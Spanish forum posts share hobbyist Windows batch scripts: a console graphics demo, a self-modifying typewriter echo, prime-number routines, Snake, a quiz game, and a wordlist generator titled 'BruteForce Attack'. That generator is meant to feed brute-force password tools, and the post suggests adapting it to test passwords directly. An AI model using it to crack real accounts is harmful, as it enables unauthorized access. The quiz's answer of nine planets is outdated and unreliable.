
Esto tambien puede ampliarse aun mas, y que el grafico no sea estatico sino que tenga movimeinto, todo esto bajo el limite de su imaginacion.

Ej:
@echo off
@mode con cols=20 lines=18
@::Graphical Maths
@::by Smart

if not exist "keyboard.exe" (Goto :NoKey)

:load
setlocal enabledelayedexpansion
for /f "tokens=2" %%x in ('mode ^|find "Col"') do (set /a LimX=%%x-3)
for /f "tokens=2" %%y in ('mode ^|find "nea"') do (set /a LimY=%%y-3)
set IniX=0
set IniY=0
set MovX=0
set MovY=0

:init
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b=°
))
set X0Y0=Û
set Curpos=X0Y0
Goto :First

:Graphic
Call :Clear
:First
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!!X%%eY%%d!
))
echo.
for /l %%f in (0,1,%LimY%) do (echo. !Lin_%%f!)
keyboard
if "%errorlevel%"=="77" (call :MovX+ "%CurPos%")
if "%errorlevel%"=="75" (call :MovX- "%CurPos%")
if "%errorlevel%"=="80" (call :MovY+ "%CurPos%")
if "%errorlevel%"=="72" (call :MovY- "%CurPos%")
if "%errorlevel%"=="88" (pause&exit)
if "%errorlevel%"=="120" (pause&exit)
Goto :Graphic

::Movimiento Lateral a la Derecha
:MovX+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%p"=="%LimX%" Goto :Eof
set %~1=°
set /a MovX=%%p+1
set X!MovX!Y%%q=Û
set CurPos=X!MovX!Y%%q
)
Goto :Eof

::Movimiento Lateral a la Izquierda
:MovX-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%p"=="%IniX%" Goto :Eof
set %~1=°
set /a MovX=%%p-1
set X!MovX!Y%%q=Û
set CurPos=X!MovX!Y%%q
)
Goto :Eof

::Movimiento Vertical hacia Abajo
:MovY+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%q"=="%LimY%" Goto :Eof
set %~1=°
set /a MovY=%%q+1
set X%%pY!MovY!=Û
set CurPos=X%%pY!MovY!
)
Goto :Eof

::Movimiento Vertical hacia Arriba
:MovY-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%q"=="%IniY%" Goto :Eof
set %~1=°
set /a MovY=%%q-1
set X%%pY!MovY!=Û
set CurPos=X%%pY!MovY!
)
Goto :Eof

:Clear
for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof

:NoKey
cls
echo.
echo  Uno de los archivos necesarios para el
echo  funcionamiento de este Script no se
echo  encuentra.
echo.
echo  A Continuacion sera creado...
call :keyboard
echo.
echo  Archivo Creado Satisfactoriamente...
echo  Por favor reinicie el Script.
echo.
pause
exit

:keyboard
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof


Espero que les sea muy util.... ;)...
Saludos.
#18
CitarMe he tomado la molestia d emodificar y organizar el Tutorial de Fakher, aparte de añadirle algo d einfo...espero no le importe  ;)

Técnicamente se definiría a la polimétrica como un código capaz de auto manipularse para lograr obtener valores reales de una variable e integrarlos en otras...

La polimétrica consiste en usar variables dentro de variables y obtener  un código que puede ser recursivo y con aplicación al polimorfismo, puede hacerse uso de las expansiones de variables para obtener códigos optimizados de programas que normalmente llevarían muchas líneas de código.

Tomemos como ejemplo un código que nos Genera una Función llamada "Echo Dinámico" o "Efecto Maquina de Escribir".

CitarEj. set a=%a:~0,%f%%

El problema reside en que la Consola de Comandos (CMD) lee lo que se encuentre entre porcentajes como una variable, por lo que en el ejemplo anterior le pedimos al programa que defina una variable que sea igual al valor que tenga la variable %a:~0,%(cuyo valor es 0..."" nulo) que tenga una cadena con el contenido "f" y otra variable que se llame %% (cuyo valor también es "" nulo) por lo tanto el valor de la variable a seria "f".

Entonces la solución  seria definir unas "subvariables" y luego juntarlas en la variable final, o haciendo uso de varias símbolos de porcentajes (%) recurriendo a la redirección a archivos externos temporales o uso de CALL. Tambien tenemos otras formas usando SETLOCAL ENABLEDELAYEDEXPANSION pero eso lo explicaremos mas
adelante...

@echo off
REM Echo Dinamico by Fhaker
copy %0 tempcode.txt
cls
set /p a=Echo Dinamico:
set b=""
goto start
:start
if %a%==%b% type tempcode.txt >%0 && goto control
set /a f=%f%+1
if %f%==1 echo "" >>%0
set h=%a:~0,
set l=%h%%f%%o%
echo :menu%f% >>%0
echo set b=%%%l%%% >>%0
echo goto start >>%0
goto menu%f%
:control
set k=%f%
set /a kk=%f%+2
set f=0
goto menu
:menu
set /a f=%f%+1
if %f%==%kk% pause && type tempcode.txt >%0 && goto fin
set h=%a:~0,
set l=%h%%f%%o%
echo :menu%f% >>%0
echo cls >>%0
echo set b=%%%l%%% >>%0
if not %f%==1 echo echo %b%_ >>%0
echo goto menu >>%0
ping -n 1,5 127.0.0.1 >nul
goto menu%f%
:fin
del /f /q tempcode.txt
exit


Lo que hace esto es definir una variable que contenga la cadena %a:~0, que como podrán ver tiene un porcentaje adelante y por lo cual al no cerrarse la supuesta variable el porcentaje queda en la cadena...

Después lo que se hace es unir en la variable %l% la variable %h% que es la recién creada, la variable %f% que es la que contiene el numero de bucle, de menú y de letra que el programa va a mostrar usando la expansión de la variable %a%, y la variable %o% que no tiene nada.

Entonces el Código realiza lo siguiente:

1.   Se copia así mismo en un Archivo Temporal (Respaldo).
2.   Se pide al Usuario que Introduzca una Dato.
3.   Se hacen las comprobaciones para cuando el Dato ha sido mostrado en su totalidad.
4.   Se definen las Variables antes mencionadas y luego se hace la expansión.
5.   Se genera una nueva parte de código que es introducida al Final del archivo actual.
6.   Se va mostrando el Dato carácter por carácter  y una vez llegado al último finaliza el bucle y termina el código.
7.   Se restablece el archivo original desde el Respaldo creado al Inicio.

Este Código puede optimizarse aun más:

  @echo off
REM Echo Dinamico by Fhaker
REM Optimized by ::SmartGenius::
copy %0 tempcode.txt
cls
set /p a=Echo Dinamico:
set b=
goto start
:start
set /a f=%f%+1
if %f%==1 echo ::Inicio Code Generado >>%0
set h=%a:~0,
set l=%h%%f%%o%
echo :menu%f% >>%0
echo cls >>%0
echo set b=%%%l%%% >>%0
echo echo %b%_ >>%0
echo if "%b%"=="%a% " goto fin >>%0
echo goto start >>%0
ping -n 2 0.0.0.0 >nul
goto menu%f%

:fin
pause
exit


Este último realiza la misma acción pero se eliminaron unas estructuras de control innecesarias y mejora el código.

Haciendo la prueba al código, lo guardamos como DYNECHO.BAT, lo ejecutamos e introducimos como dato "Hola", se muestra el efecto de escritura “carácter por carácter" o "Maquina de Escribir", una vez que finaliza el código se procede a mirar el código fuente de DYNECHO.BAT y veremos el cambio.

continua....
#19
Scripting / [Batch] Algoritmo de Numeros Primos
16 Noviembre 2008, 00:53 AM
Codigos para trabajar con numeros primos, usndo las matematicas euclidianas, estos codes son utiles para saber cuando un numero es primo, el n-esimo termino de la sucesion de primos, el primo mas cercano de un numero y los mas importantes que son la descomposicion de cualquier numero en sus factores primos y la simplificacion de expresiones...

Empecemos pues:

Citar1.   Implemente el método "call:EsPrimo valor" que devuelve true o false en dependiendo de si el valor de la variable a es un número primo o no. Intente hacerlo de la manera más eficiente posible.

@echo off
REM Comprueba si un Numero es Primo
REM Coded by :: SmartGenius ::
color 0a
if ["%1"]==[""] goto :error

:ini
set num=%1
set /a c=%num%*1
if not %c%==%num% goto :error
call :cprimo %num%
echo %primo%
goto :eof

:cprimo
set primo=True
set /a lim=%1-1
for /l %%a in (2,1,%lim%) do (call :cprimo2 %%a)
goto:eof
:cprimo2
set /a p=(%num%)%%(%1)
if %p%==0 set primo=False
goto :eof

:error
echo No ha introducido un Valor Numerico
echo.
pause
exit


Citar2.   Implemente el método "call:PrimoMasCercano valor" Este método debe devolver el número primo más cercano al valor.

@echo off
color 0a
REM Busca el Numero Primo mas cercano al Valor N
REM Coded by :: SmartGenius ::
if ["%1"]==[""] goto :error
:init
set n=%1
set /a c=%n%*1
if not %c%==%n% goto :error
call :near %n%
echo %near%
goto :eof

:near
set lim=%1
for /l %%b in (1,1,%lim%) do (
for /f %%c in ('call EsPrimo %%b') do (
if %%c==True set near=%%b
))
goto :eof

:error
echo No ha introducido un Valor Numerico
echo.
pause
exit


Citar3.   Implemente el método "call:TérminoPrimo valor" Este método debe devolver el n-ésimo término de la sucesión de números primos.

@echo off
color 0a
REM Busca El N-esimo valor de la Sucesion de Numeros Primos
REM Coded by :: SmartGenius ::
if ["%1"]==[""] goto :error
:init
set t=%1
set /a c=%t%*1
if not %c%==%t% goto :error
call :ter %t%
echo %ene%
goto :eof

:ter
set lim=%1
set l=1
for /l %%b in (1,1,9999) do (
for /f %%c in ('call EsPrimo %%b') do (
if defined ene goto :eof &goto :eof
if %%c==True call :val %%b
))
goto :eof

:val
if %l%==%lim% set ene=%1
set /a l=%l%+1
goto :eof

:error
echo No ha introducido un Valor Numerico
echo.
pause
exit


Citar4.   Implemente el método "call:DescomposiciónPrimos valor" Este método debe escribir en la consola la descomposición en números primos del valor.

@echo off
color 0a
REM Descomposicion en Factores Primos
REM Coded by :: SmartGenius ::
if ["%1"]==[""] goto :error
setlocal
:ini
set op=
set num=%1
set /a c=%num%*1
if not %c%==%num% goto :error
call :func1 %num%
:fin
echo %op:~1%
endlocal
goto :eof

:func1
set lim=%1
for /f %%z in ('call EsPrimo %lim%') do (if %%z==True set op=*1*%lim% & goto :eof)
for /l %%n in (2,1,%lim%) do (
for /f %%c in ('call EsPrimo %%n') do (
if %%c==True call :func2 %lim% %%n
))
goto :eof

:func2
set val=%1
:func3
set var=%op%
set /a c=%var:~1%
if %c% GEQ %lim% goto :eof
set /a mod=(%val%)%%(%2)
if %mod%==0 set op=%op%*%2& set /a val=(%val%)/(%2)&goto :func3
goto :eof

:error
echo No ha introducido un Valor Numerico
echo.
pause
exit


Citar5.     Implemente el metodo "call:PowerPrimos cadena" Teniendo una cadena como "2*2*3*3*23" que es la descomposicion de "828" en numeros primos  devolver una cadena que eleve los valores que se repiten. Para este caso el metodo debe devolver "2^2*3^2*23".

@echo off
color 0a
REM Simplificacion de Cadenas
REM Coded by :: SmartGenius ::
setlocal enabledelayedexpansion
if ["%1"]==[""] goto :error
:init
set cadena=%1
call :string %cadena%
:func
for /l %%f in (1,1,%l%) do (call :func2 %%f)
for /l %%g in (1,1,%l%) do (call :func3 %%g)
goto :next
:func2
set lim=%1
for /f "tokens=%lim% delims=*" %%k in ("%cadena%") do (call :add %%k)
goto :eof
:func3
set lim=%1
for /f "tokens=%lim% delims=*" %%j in ("%cadena%") do (call :var %%j)
goto:eof
:next
set oper=%oper:l1=%
set oper=%oper:l=^^^^%
echo %oper:~1%
goto :eof

:var
set t1=%1
if not defined t%t1% call :var2 %t1%
goto:eof
:var2
call set var=!p%1!l!n%1!
set t%1=%1
set oper=%oper%*%var%
goto :eof

:add
set /a n%1+=1
set p%1=%1
goto:eof

:string
set texto=%1
:string2
if not "%texto:~0,1%"=="" (set /a l=%l%+1)
set texto=%texto:~1%
if "%texto%"=="" goto :eof
goto :string2


Todos estos codigos los podemos usar desde la consola...


o desde un codigo principal

@echo off
mode con cols=40 lines=20
title Algoritmo de Numeros Primos
color 0a
REM Calculo de Funciones y Algoritmos con Numeros Primos
REM Matematicas Euclidianas
REM Coded by :: SmartGenius ::

:main
set opc=
cls
echo.
echo   Bienvenido al Programa
echo.
echo  Escoja un Opcion      [X] Salir
echo.
echo 1. Comprobar si un Numero es Primo
echo 2. Primo mas cercano de un Numero (N)
echo 3. Obtener el N-esimo termino Primo
echo 4. Descomponer un Numero
echo 5. Mostrar Descomposicion Recursiva
echo.
set /p opc="Opcion >> "
if not defined opc goto main
if /i %opc%==x exit
if %opc%==5 call :func5
if %opc% GTR 5 goto main
set /p number="Introduzca el Dato : "
if not defined number goto main
set /a b=%number%*1
if not %b%==%number% goto :error
if %opc%==1 call :func1 %number%
if %opc%==2 call :func2 %number%
if %opc%==3 call :func3 %number%
if %opc%==4 call :func4 %number%
pause
goto :main

:func1
set esprimo=NO
set valor=%1
for /f %%c in ('call EsPrimo %valor%') do (
if %%c==True set esprimo=SI
)
echo ^> %valor% %esprimo% es un Numero Primo
pause
goto :main

:func2
set valor=%1
for /f %%d in ('call PrimoMasCercano %valor%') do (set next=%%d)
echo ^> Primo mas cercano de %valor% es %next%
pause
goto :main

:func3
set valor=%1
for /f %%e in ('call TerminoPrimo %valor%') do (set termino=%%e)
echo El %valor% Numero de la Sucesion de
echo Numeros Primos corresponde a %termino%
pause
goto :main

:func4
set nmb=%1
for /f %%u in ('call DescomposicionPrimos %nmb%') do (set desc=%%u)
echo Descomposicion de %nmb% = %desc%
pause
goto :main

:func5
set /p txt="Introduzca la cadena > "
if not defined txt goto :func5
call PowerPrimos %txt%
pause
goto :main

:error
echo No ha introducido un Valor Numerico
pause
goto :main


Espero le sea de gran utilidad... :xD

Saludos.
#20
Scripting / [Batch] Generador de Diccionario
16 Noviembre 2008, 00:49 AM
Este script lo que hace es generar un archivo de texto plano con todas las posibles combinaciones de letras del abecedario segun la longitud de pass que se haya especificado, para ello se usa la polimetria y una caracteristica del FOR que permite pasarse parametros entre si...

Veamos...

@echo off
title BruteForce Attack
REM Coded by :: SmartGenius ::
color 0a

setlocal enabledelayedexpansion
:ini
if exist dic.txt del /f /q dic.txt
cls
echo.
set /p long="Longitud de Pass >:"
if not defined long goto ini
echo  Generando...
echo  Por favor Espere.
set c=0

:main
for %%a in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%b in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%c in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%d in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%e in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%f in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%g in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%h in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%i in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%j in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%k in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%l in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%m in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%n in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%o in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%p in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%q in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%r in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%s in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%t in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%u in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%v in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%w in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%x in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%y in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%z in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
call :comp %%a%%b%%c%%d%%e%%f%%g%%h%%i%%j%%k%%l%%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z
)
set c=1
)
set c=2
)
set c=3
)
set c=4
)
set c=5
)
set c=6
)
set c=7
)
set c=8
)
set c=9
)
set c=10
)
set c=11
)
set c=12
)
set c=13
)
set c=14
)
set c=15
)
set c=16
)
set c=17
)
set c=18
)
set c=19
)
set c=20
)
set c=21
)
set c=22
)
set c=23
)
set c=24
)
set c=25
)
goto :fin

:comp
set word=%*
set dic=!word:~-%long%!
echo %dic% >>dic.txt
if %c%==%long% goto :fin
goto :eof

:fin
echo  Finalizado...OK.
pause
exit


Si especificamos una lontigud de Pass de 4, el codigo nos generara un archivo de texto con todas las combinaciones desde AAAA hasta ZZZZ, luego esto seria uril para usarlo como diccionario para algun programa de ataque por fuerza bruta...de los tantos que hay en internet.

Otra forma seria adaptar un poco el codigo para que no redirija la salida del comando a un archivo sino que directamente pruebe la pass generada...esto para los crackmes que se han hecho en BATCH  :xD

No solo puede ser el abecedario, tambien pueden agregarse los numeros y algunos simbolos que no causan problemas en batch como $ ! # " etc....

Mientras mas larga sea la longitud de la pass mas tiempo tomara en crear el diccionario, pero el trabajo es impecable generando todas las miles de posibles combinaciones...

Espero sea de gran utilidad... =D

Saludos.

PD: Greets to carlitos.java
#21
Scripting / Snake en Batch o_O - by Smart
7 Septiembre 2008, 17:39 PM
Alguien por ahi me dijo que no se podia jugar en batch....  :rolleyes: :rolleyes:

Pues para esos que hablan mal de Batch...aqui tienen algo xD

Se trata de un Juego simple que creo que ya todos conocen: Snake....

Aunque por ahora no crece ni se alimenta, pero se mueve sola y se choca con las paredes.... ;D ;D

Esto es lo que llevo:  v1.

Código (DOS) [Seleccionar]
@echo off
title Snake
REM A Game like the Snake
REM Coded by :: SmartGenius ::
color 0a
mode con cols=15 lines=16

:ini
for /l %%a in (10,1,109) do (set p%%a= )
set dot=Û
set newpos=p10
set %newpos%=%dot%
set nnpos=p00
set %nnpos%=.
set dir=d

:main
cls
set oldpos=%newpos%
set curpos=%newpos%
echo.
echo  ÚÄÄÄÄÄÄÄÄÄÄ¿
echo  ³%p10%%p11%%p12%%p13%%p14%%p15%%p16%%p17%%p18%%p19%³
echo  ³%p20%%p21%%p22%%p23%%p24%%p25%%p26%%p27%%p28%%p29%³
echo  ³%p30%%p31%%p32%%p33%%p34%%p35%%p36%%p37%%p38%%p39%³
echo  ³%p40%%p41%%p42%%p43%%p44%%p45%%p46%%p47%%p48%%p49%³
echo  ³%p50%%p51%%p52%%p53%%p54%%p55%%p56%%p57%%p58%%p59%³
echo  ³%p60%%p61%%p62%%p63%%p64%%p65%%p66%%p67%%p68%%p69%³
echo  ³%p70%%p71%%p72%%p73%%p74%%p75%%p76%%p77%%p78%%p79%³
echo  ³%p80%%p81%%p82%%p83%%p84%%p85%%p86%%p87%%p88%%p89%³
echo  ³%p90%%p91%%p92%%p93%%p94%%p95%%p96%%p97%%p98%%p99%³
echo  ³%p100%%p101%%p102%%p103%%p104%%p105%%p106%%p107%%p108%%p109%³
echo  ÀÄÄÄÄÄÄÄÄÄÄÙ
echo.
goto :%dir%

:w
choice /c:wasdx /n /s /t:w,1
if %errorlevel%==1 goto up
if %errorlevel%==2 goto left
if %errorlevel%==3 goto down
if %errorlevel%==4 goto rigth
if %errorlevel%==5 (goto out) else (goto main)

:a
choice /c:wasdx /n /s /t:a,1
if %errorlevel%==1 goto up
if %errorlevel%==2 goto left
if %errorlevel%==3 goto down
if %errorlevel%==4 goto rigth
if %errorlevel%==5 (goto out) else (goto main)

:s
choice /c:wasdx /n /s /t:s,1
if %errorlevel%==1 goto up
if %errorlevel%==2 goto left
if %errorlevel%==3 goto down
if %errorlevel%==4 goto rigth
if %errorlevel%==5 (goto out) else (goto main)

:d
choice /c:wasdx /n /s /t:d,1
if %errorlevel%==1 goto up
if %errorlevel%==2 goto left
if %errorlevel%==3 goto down
if %errorlevel%==4 goto rigth
if %errorlevel%==5 (goto out) else (goto main)

:down
if %oldpos:~-2,1%==0 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%+10
set newpos=p%newpos%
set %newpos%=%dot%
set dir=s
goto main

:up
if %oldpos:~-1,1%==1 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%-10
set newpos=p%newpos%
set %newpos%=%dot%
set dir=w
goto main

:rigth
if %oldpos:~-1%==9 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%+1
set newpos=p%newpos%
set %newpos%=%dot%
set dir=d
goto main

:left
if %oldpos:~-1%==0 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%-1
set newpos=p%newpos%
set %newpos%=%dot%
set dir=a
goto main

:out
cls
call :echodyn G A M E
call :echodyn O V E R
call :echodyn by Smart
echo.
echo.
echo.
echo   SmartGenius
echo   Corp. 2008
echo.
pause>nul
exit

:echodyn
set texto=%* 
set num=1

:dyn2
call set var1=%%texto:~0,%num%%%
if "%var1%"=="%texto%" set num=0
cls
echo.
echo.
echo.
echo.
echo.
echo    %var1%
ping -n 0,3 0.0.0.0 > nul
if %num%==0 (goto :eof)
set /a num=%num%+1
goto dyn2


Necesitan del comando CHOICE para que funcione... si no lo tienen pues en internet se consigue facilito... ;D

Algo que se me olvidaba, aunque creo que ya lo habian deducido es los Controles...

W = Arriba
A = Izquierda
S = Abajo
D = Derecha
X = Salir


Un segundo Codigo del Mismo, pero esta vez no se mueve en Reversa ni acelera...

Código (DOS) [Seleccionar]
@echo off
title Snake
REM A Game like the Snake
REM Coded by :: SmartGenius ::
color 0a
mode con cols=15 lines=16

:ini
for /l %%a in (10,1,109) do (set p%%a= )
set dot=Û
set newpos=p10
set %newpos%=%dot%
set nnpos=p00
set %nnpos%=.
set dir=d

:main
cls
set oldpos=%newpos%
set curpos=%newpos%
echo.
echo  ÚÄÄÄÄÄÄÄÄÄÄ¿
echo  ³%p10%%p11%%p12%%p13%%p14%%p15%%p16%%p17%%p18%%p19%³
echo  ³%p20%%p21%%p22%%p23%%p24%%p25%%p26%%p27%%p28%%p29%³
echo  ³%p30%%p31%%p32%%p33%%p34%%p35%%p36%%p37%%p38%%p39%³
echo  ³%p40%%p41%%p42%%p43%%p44%%p45%%p46%%p47%%p48%%p49%³
echo  ³%p50%%p51%%p52%%p53%%p54%%p55%%p56%%p57%%p58%%p59%³
echo  ³%p60%%p61%%p62%%p63%%p64%%p65%%p66%%p67%%p68%%p69%³
echo  ³%p70%%p71%%p72%%p73%%p74%%p75%%p76%%p77%%p78%%p79%³
echo  ³%p80%%p81%%p82%%p83%%p84%%p85%%p86%%p87%%p88%%p89%³
echo  ³%p90%%p91%%p92%%p93%%p94%%p95%%p96%%p97%%p98%%p99%³
echo  ³%p100%%p101%%p102%%p103%%p104%%p105%%p106%%p107%%p108%%p109%³
echo  ÀÄÄÄÄÄÄÄÄÄÄÙ
echo.
goto :%dir%

:w
choice /c:adxf /n /s /t:f,1
if %errorlevel%==1 goto left
if %errorlevel%==2 goto rigth
if %errorlevel%==3 (goto out) else (goto up)

:a
choice /c:wsxf /n /s /t:f,1
if %errorlevel%==1 goto up
if %errorlevel%==2 goto down
if %errorlevel%==3 (goto out) else (goto left)

:s
choice /c:adxf /n /s /t:f,1
if %errorlevel%==1 goto left
if %errorlevel%==2 goto rigth
if %errorlevel%==3 (goto out) else (goto down)

:d
choice /c:wsxf /n /s /t:f,1
if %errorlevel%==1 goto up
if %errorlevel%==2 goto down
if %errorlevel%==3 (goto out) else (goto rigth)

:down
if %oldpos:~-2,1%==0 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%+10
set newpos=p%newpos%
set %newpos%=%dot%
set dir=s
goto main

:up
if %oldpos:~-1,1%==1 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%-10
set newpos=p%newpos%
set %newpos%=%dot%
set dir=w
goto main

:rigth
if %oldpos:~-1%==9 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%+1
set newpos=p%newpos%
set %newpos%=%dot%
set dir=d
goto main

:left
if %oldpos:~-1%==0 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%-1
set newpos=p%newpos%
set %newpos%=%dot%
set dir=a
goto main

:out
cls
call :echodyn G A M E
call :echodyn O V E R
call :echodyn by Smart
echo.
echo.
echo.
echo   SmartGenius
echo   Corp. 2008
echo.
pause>nul
exit

:echodyn
set texto=%* 
set num=1

:dyn2
call set var1=%%texto:~0,%num%%%
if "%var1%"=="%texto%" set num=0
cls
echo.
echo.
echo.
echo.
echo.
echo    %var1%
ping -n 0,3 0.0.0.0 > nul
if %num%==0 (goto :eof)
set /a num=%num%+1
goto dyn2


Necesito ideas, y pues tambien codigo para arreglar algunos errores que tiene y para que haga las demas funciones que necesita para que sea igual al juego original...

Solo me falta hacer que crezca y se alimente.... ;D ;D y ya la tendria mas o menos lista...para Jugar  :D

Espero sus comentarios...

Saludos.
#22
Scripting / Quien Quiere Ser Millonario ??
2 Septiembre 2008, 21:11 PM
jeje, un jueguito simple, pero que puede ser extendido y hacerlo mas amplio y entretenido... ;D ;D

Código (DOS) [Seleccionar]
@echo off
title Wants to be Millionarie ? - by Smart
REM Simple Juego de Preguntas y Respuestas
REM al estilo de Quien Quiere ser Millonario
REM Coded by :: SmartGenius ::
color 0a
cls
mode con cols=45 lines=20
call :quests > quests.txt
attrib +h quests.txt >nul
set tot=0
set q=0

:main
cls
call :rdn > nul
if defined p%r% goto main
set /a q=%q%+1
for /f "tokens=1-7 delims=:" %%a in ('findstr /i /c:10%r% quests.txt') do (
set cor=%%g
echo.
echo      ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo      º Quien Quiere Ser Millonario ?  º
echo      ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo  Pregunta Numero %q%   Puntos: %tot%
echo  ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ   ÍÍÍÍÍÍÍÍÍÍÍÍ
echo.
echo  %%b ?
echo.
echo  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄ¿
echo  ³A³ ³ %%c³  ³B³ ³ %%d³
echo  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÙ
echo  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄ¿
echo  ³C³ ³ %%e³  ³D³ ³ %%f³
echo  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
set /p opc="Respuesta > "
set p%r%=X
)
if /i not %opc%==%cor% (call :fin)
if %q%==5 (set /a tot=%tot%+50&call :fok) else (set /a tot=%tot%+50 &goto main)

:rdn
set r=
set /a rdn=((%random%*%random%)/%random%)+%random%
set r=%rdn:~-1%
goto :eof

:fin
cls
echo.
echo  Respuesta Incorrecta...
echo.
echo  Has perdido el Juego
echo.
echo  Total Acumulado: %tot%
echo.
echo  Presiona Cualquier tecla
echo  para Salir...
pause>nul
exit

:fok
cls
echo.
echo  Felicitaciones... lo has Superado.
echo.
echo  Acumulaste un Total de %tot% puntos.
echo.
echo  Presiona Cualquier tecla
echo  para Salir...
pause>nul
exit

:quests
echo 101:Cuantos Dedos tienes en la Mano :10        :8         :12        :20        :A:
echo 102:Cuantos Ojos Tienes :8         :2         :6         :4         :B:
echo 103:Cuantos Planetas hay en el Sistema Solar :10        :11        :9         :8         :C:
echo 104:Cuantos Paises tiene Suramerica :15        :10        :20        :12        :D:
echo 105:En que Planeta Vives :Marte     :Tierra    :Venus     :Pluton    :B:
echo 106:Cual es el Foro Favorito de elhacker :Windows   :Programas :Hacking   :Software  :C:
echo 107:En que Ano se Descubrio America :1492      :1450      :1500      :1512      :A:
echo 108:Quien es el Autor de este Juego :Shadow    :Smart     :Arkangel  :carlitos  :B:
echo 109:Quien es el Mas Conocido en el foro :SDC       :el-brujo  :Smart     :Otros     :D:
echo 100:En que continente se encuentra Djibuti :Africa    :Asia      :Europa    :Antartida :A:
goto :eof


El juego te hace 5 preguntas y te va acumulando los puntos.... :D si te equivocas en una pierdes.....

